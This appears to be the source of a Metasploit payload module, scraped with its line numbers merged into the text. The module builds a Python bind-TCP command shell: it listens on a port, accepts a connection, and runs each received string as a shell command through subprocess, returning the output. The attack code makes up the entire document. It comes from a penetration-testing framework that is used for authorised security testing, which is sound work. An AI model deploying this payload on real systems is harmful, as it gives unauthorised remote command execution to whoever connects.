Path: blob/master/modules/payloads/singles/python/shell_bind_tcp.rb
21540 views
module MetasploitModule1CachedSize = :dynamic23include Msf::Payload::Single4include Msf::Payload::Python5include Msf::Sessions::CommandShellOptions67def initialize(info = {})8super(9merge_info(10info,11'Name' => 'Command Shell, Bind TCP (via python)',12'Description' => 'Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.',13'Author' => 'mumbai',14'License' => MSF_LICENSE,15'Platform' => 'python',16'Arch' => ARCH_PYTHON,17'Handler' => Msf::Handler::BindTcp,18'Session' => Msf::Sessions::CommandShell,19'PayloadType' => 'python',20'Payload' => {21'Offsets' => {},22'Payload' => ''23}24)25)26end2728def generate(_opts = {})29super + command_string30end3132def command_string33cmd = <<~PYTHON34import socket as s35import subprocess as r36so=s.socket(s.AF_INET,s.SOCK_STREAM)37so.bind(('#{datastore['RHOST']}',#{datastore['LPORT']}))38so.listen(1)39so,addr=so.accept()40while True:41d=so.recv(1024)42if len(d)==0:43break44p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)45o=p.stdout.read()+p.stderr.read()46so.send(o)47PYTHON4849py_create_exec_stub(cmd)50end51end525354